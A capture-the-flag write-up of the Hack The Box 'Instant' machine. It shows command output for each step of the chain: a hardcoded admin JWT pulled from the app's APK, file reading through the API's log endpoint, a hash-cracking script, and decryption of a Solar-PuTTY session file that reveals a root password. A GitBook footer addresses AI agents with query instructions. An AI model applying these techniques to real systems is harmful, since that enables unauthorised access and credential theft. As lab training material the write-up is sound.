> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-instant.md). # HTB - Instant ## Enumeration and Foothold ```powershell PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.58 Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` browsing to port 80 revealed the domain name add it to the hosts file.

### HTTP Browsing to `http://instant.htb` shows a marketing landing page for "Instant Wallet" a fintech app promising to "instantly send funds to any MNO, Bank, or Crypto Wallet."

Directory brute-forcing (`gobuster`/`ffuf`) against the main site turned up **no hidden directories or subdomains.** The site has a "Download Now!" button that pulls down the Android app. Intercepting the request in Burp confirms the download URL:

lets download the apk file and investigate further.

i can use jadx to decompile the apk file to read. ### Decompiling the APK using JADX

This surfaces the app's own package, `com.instantlabs.instant`, and reveals a completely separate backend host never linked from the website: **Endpoints discovered so far:** * `POST /api/v1/register` * `POST /api/v1/login` → returns `Access-Token` field in JSON response * `GET /api/v1/view/profile` (needs `Authorization` header) * `POST /api/v1/initiate/transaction` * `POST /api/v1/confirm/pin` A hardcoded admin JWT sitting in `AdminActivities.java`: ```powershell eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA ``` Decoding the JWT payload shows: ``` { "id": 1, "role": "Admin", "walId": "f0eca6e5-783a-471d-9d8f-0162cbc900db", "exp": 3325930365 } ``` An expiry timestamp that far in the future basically never invalidates this is a hardcoded, fully-privileged admin token left in the client for testing. Confirming it works:

then hit the new api directly via curl using the JWT token. ```powershell ┌──(ajay㉿kali)-[~] └─$ curl -sv -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" * Host mywalletv1.instant.htb:80 was resolved. * IPv6: (none) * IPv4: 10.129.231.155 * Trying 10.129.231.155:80... * Established connection to mywalletv1.instant.htb (10.129.231.155 port 80) from 10.10.14.49 port 51472 * using HTTP/1.x > GET /api/v1/view/profile HTTP/1.1 > Host: mywalletv1.instant.htb > User-Agent: curl/8.20.0 > Accept: */* > Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA > * Request completely sent off < HTTP/1.1 200 OK < Date: Thu, 06 Aug 2026 04:55:04 GMT < Server: Werkzeug/3.0.3 Python/3.12.3 < Content-Type: application/json < Content-Length: 236 < {"Profile":{"account_status":"active","email":"admin@instant.htb","invite_token":"instant_admin_inv","role":"Admin","username":"instantAdmin","wallet_balance":"10000000","wallet_id":"f0eca6e5-783a-471d-9d8f-0162cbc900db"},"Status":200} * Connection #0 to host mywalletv1.instant.htb:80 left intact ``` The token is fully valid confirmed admin access: ```powershell username: instantAdmin email: admin@instant.htb role: Admin wallet_id: f0eca6e5-783a-471d-9d8f-0162cbc900db wallet_balance: 10000000 invite_token: instant_admin_inv ``` Check assets and raw resources specifically (config files, JSON, properties) which grep on sources/ alone would miss: ```powershell ┌──(ajay㉿kali)-[~] └─$ find /tmp/instant_decompiled/resources -type f $ -iname "*.json" -o -iname "*.xml" -o -iname "*.properties" -o -iname "*.txt" $ -exec grep -l "instant.htb" {} \; /tmp/instant_decompiled/resources/res/xml/network_security_config.xml /tmp/instant_decompiled/resources/res/layout/activity_forgot_password.xml ```

Add it to `/etc/hosts` and browse to it:

This exposes a full **Flasgger**-powered Swagger UI documenting the entire API surface, including endpoints never seen in the mobile app: * `POST /api/v1/admin/add/user` — Admin route to create a user (accepts a `role` field!) * `GET /api/v1/admin/list/users` * `GET /api/v1/admin/read/log` — reads a log file by name * `GET /api/v1/admin/view/logs` — lists available logs * ...plus all the endpoints already found in the app. i can use the admin JWT token here to login.

Querying the endpoint view logs reveals the path of the logs and the name of the log.

using this info the querying the read logs reveals that the log\_file\_name parameter directly references the submitted log file name which could be a potential vulnerability for LFI.

i will use burpsuite to test further. ### Local File Inclusion

Key findings from `/etc/passwd`: * **`shirohige`** — uid 1001, home `/home/shirohige`, shell `/bin/bash` → real login user, likely your SSH target. we can try reading shirohige ssh keys.

copy the key locally and login as shirohige

## Shell as Shirohige

```powershell shirohige@instant:~$ find ~/projects/mywallet -iname "*.db" -o -iname "*.sqlite*" -o -iname "*.env" -o -iname "config*" /home/shirohige/projects/mywallet/Instant-Api/mywallet/.env /home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db /home/shirohige/projects/mywallet/myenv/lib/python3.12/site-packages/pip/_internal/configuration.py /home/shirohige/projects/mywallet/myenv/lib/python3.12/site-packages/pip/_internal/commands/configuration.py /home/shirohige/projects/mywallet/myenv/lib/python3.12/site-packages/pip/_internal/commands/__pycache__/configuration.cpython-312.pyc /home/shirohige/projects/mywallet/myenv/lib/python3.12/site-packages/pip/_internal/__pycache__/configuration.cpython-312.pyc /home/shirohige/projects/mywallet/myenv/lib/python3.12/site-packages/flask/config.py /home/shirohige/projects/mywallet/myenv/lib/python3.12/site-packages/flask/__pycache__/config.cpython-312.pyc /home/shirohige/projects/mywallet/myenv/lib/python3.12/site-packages/sqlalchemy/testing/config.py /home/shirohige/projects/mywallet/myenv/lib/python3.12/site-packages/sqlalchemy/testing/__pycache__/config.cpython-312.pyc ``` found a database file called instant.db sqlite3 is not installed on the machine so i can use python to enumerate ### Enumerating SQLite database using Python ```powershell shirohige@instant:~$ which sqlite3 || python3 -c "import sqlite3; c=sqlite3.connect('/home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db'); cur=c.cursor(); cur.execute(\"SELECT name FROM sqlite_master WHERE type='table';\"); print(cur.fetchall())" [('wallet_users',), ('wallet_wallets',), ('wallet_transactions',)] ``` ```powershell shirohige@instant:~$ python3 -c " import sqlite3 c = sqlite3.connect('/home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db') cur = c.cursor() cur.execute('SELECT * FROM wallet_users;') for row in cur.fetchall(): print(row) " (1, 'instantAdmin', 'admin@instant.htb', 'f0eca6e5-783a-471d-9d8f-0162cbc900db', 'pbkdf2:sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978', '2024-07-23 00:20:52.529887', 87348, 'Admin', 'active') (2, 'shirohige', 'shirohige@instant.htb', '458715c9-b15e-467b-8a3d-97bc3fcf3c11', 'pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed', '2024-08-08 20:57:47.909667', 42845, 'instantian', 'active') shirohige@instant:~$ ``` ### Werzeug pbkdf3 hash crack used a custom code created by ai to crack the hash ```powershell ──(ajay㉿kali)-[~] └─$ cat > /tmp/crack.py << 'EOF' from werkzeug.security import check_password_hash target_hash = "pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed" wordlist = "/usr/share/wordlists/rockyou.txt" with open(wordlist, encoding="latin-1") as f: for i, line in enumerate(f): pw = line.strip() if check_password_hash(target_hash, pw): print(f"FOUND: {pw}") break if i % 5000 == 0: print(f"...tried {i} ({pw})") EOF python3 /tmp/crack.py ...tried 0 (123456) FOUND: estrella ``` Cracking the password did not help much. Further enumeration of the filesystem turned up a backup directory:

`sessions-backup.dat` is a **Solar-PuTTY** exported sessions file. Solar-PuTTY (SolarWinds' free PuTTY alternative) stores saved SSH/RDP sessions along with encrypted credentials — and its encryption scheme is well-documented and crackable offline with public tools. ### Solar putty backup file decrypt download the file locally

```powershell ┌──(ajay㉿kali)-[~] └─$ git clone Cloning into 'SolarPuttyDecrypterPy'... remote: Enumerating objects: 50, done. remote: Counting objects: 100% (50/50), done. remote: Compressing objects: 100% (48/48), done. remote: Total 50 (delta 17), reused 0 (delta 0), pack-reused 0 (from 0) Receiving objects: 100% (50/50), 19.88 KiB | 753.00 KiB/s, done. Resolving deltas: 100% (17/17), done. ┌──(ajay㉿kali)-[~] └─$ cd SolarPuttyDecrypterPy ┌──(ajay㉿kali)-[~/SolarPuttyDecrypterPy] └─$ python3 decrypt2.py ../sessions-backup.dat /usr/share/wordlists/rockyou.txt ----------------------------------------------------- SolarPutty's Sessions Decrypter (Python Version) ----------------------------------------------------- File content (first 50 bytes): b'ZJlEkpkqLgj2PlzCyLk4gtCfsGO2CMirJoxxdpclYTlEshKzJw' Trying password: estrellaal Potential successful decryption with password: estrella Decrypted content (first 200 bytes): b'\xacuY\xff\x11\xfbD\xba\xb3\xe2\xc8\x80pB\xbe\xceU\xed;\x8f)\x10\xb5Ins":[{"Id":"066894ee-635c-4578-86d0-d36d4838115b","Ip":"10.10.11.37","Port":22,"ConnectionType":1,"SessionName":"Instant","Authentication":0,"CredentialsID":"452ed919-530e-419b' [+] DONE Decrypted file is saved in: SolarPutty_sessions_decrypted_estrella.bin Continue trying other passwords? (y/n): n ``` ```powershell ┌──(ajay㉿kali)-[~/SolarPuttyDecrypterPy] └─$ cat SolarPutty_sessions_decrypted_estrella.bin �uY��D��ȀpB��U�;�)�Ins":[{"Id":"066894ee-635c-4578-86d0-d36d4838115b","Ip":"10.10.11.37","Port":22,"ConnectionType":1,"SessionName":"Instant","Authentication":0,"CredentialsID":"452ed919-530e-419b-b721-da76cbe8ed04","AuthenticateScript":"00000000-0000-0000-0000-000000000000","LastTimeOpen":"0001-01-01T00:00:00","OpenCounter":1,"SerialLine":null,"Speed":0,"Color":"#FF176998","TelnetConnectionWaitSeconds":1,"LoggingEnabled":false,"RemoteDirectory":""}],"Credentials":[{"Id":"452ed919-530e-419b-b721-da76cbe8ed04","CredentialsName":"instant-root","Username":"root","Password":"12**24nzC!r0c%q12","PrivateKeyPath":"","Passphrase":"","PrivateKeyContent":null}],"AuthScript":[],"Groups":[],"Tunnels":[],"LogsFolderDestination":"C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"} ``` root password is in the session file : `12**24nzC!r0c%q12` ## Shell as Root ssh to root do not work but su from shirohige user works

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-instant.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.